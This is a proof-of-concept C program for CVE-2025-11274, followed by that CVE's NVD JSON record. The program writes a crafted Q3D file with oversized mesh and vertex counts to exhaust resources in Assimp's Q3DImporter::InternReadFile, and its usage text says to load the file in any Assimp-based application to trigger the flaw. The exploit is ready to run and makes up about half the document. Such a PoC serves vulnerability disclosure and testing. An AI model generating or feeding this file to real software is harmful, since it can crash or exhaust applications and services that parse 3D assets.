CVE-2025-11274

/* * CVE-2025-11274 - Assimp Q3DLoader Resource Allocation Vulnerability PoC * * This PoC demonstrates how to trigger resource exhaustion in Assimp's * Q3DImporter::InternReadFile function by crafting a malicious Q3D file * with abnormally large allocation requests. * * Usage: Place the generated malicious.q3d file and load it using Assimp * or any application that uses the Assimp library. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // Q3D file format magic header static const char Q3D_MAGIC[] = "quick3Ds"; /* * Generate a malicious Q3D file that triggers excessive resource allocation * in Q3DImporter::InternReadFile. */ int generate_malicious_q3d(const char *filename) { FILE *fp = fopen(filename, "wb"); if (!fp) { fprintf(stderr, "[-] Failed to create output file: %s\n", filename); return -1; } // Write Q3D magic header fwrite(Q3D_MAGIC, 1, strlen(Q3D_MAGIC), fp); // Write version info uint32_t version = 0x00010000; // Version 1.0 fwrite(&version, sizeof(uint32_t), 1, fp); // Craft an abnormally large mesh count to trigger excessive allocation uint32_t mesh_count = 0xFFFFFFFF; // Intentionally oversized value fwrite(&mesh_count, sizeof(uint32_t), 1, fp); // Write vertex data with extreme dimensions uint32_t vertex_count = 0x7FFFFFFF; fwrite(&vertex_count, sizeof(uint32_t), 1, fp); // Fill with padding data to make the file appear valid enough for parsing for (int i = 0; i < 1024; i++) { uint32_t padding = 0xDEADBEEF; fwrite(&padding, sizeof(uint32_t), 1, fp); } fclose(fp); printf("[+] Malicious Q3D file generated: %s\n", filename); printf("[+] Load this file with Assimp to trigger CVE-2025-11274\n"); return 0; } int main(int argc, char *argv[]) { const char *output = "malicious.q3d"; if (argc > 1) { output = argv[1]; } printf("[*] CVE-2025-11274 PoC - Assimp Q3DLoader Resource Exhaustion\n"); printf("[*] Generating malicious Q3D file...\n"); return generate_malicious_q3d(output); }

{"cve": {"id": "CVE-2025-11274", "sourceIdentifier": "[email protected]", "published": "2025-10-05T01:15:35.247", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Open Asset Import Library Assimp 6.0.2. Affected is the function Q3DImporter::InternReadFile of the file assimp/code/AssetLib/Q3D/Q3DLoader.cpp. This manipulation causes allocation of resources. The attack is restricted to local execution. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.9, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:L/Au:S/C:N/I:N/A:P", "baseScore": 1.7, "accessVector": "LOCAL", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "PARTIAL"}, "baseSeverity": "LOW", "exploitabilityScore": 3.1, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:assimp:assimp:6.0.2:*:*:*:*:*:*:*", "matchCriteriaId": "B5BC643B-B249-45CC-A377-45E37EB62AEA"}]}]}], "references": [{"url": "https://github.com/assimp/assimp/issues/6356", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://github.com/user-attachments/files/22407575/poc.zip", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://vuldb.com/?ctiid.327008", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327008", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.658075", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}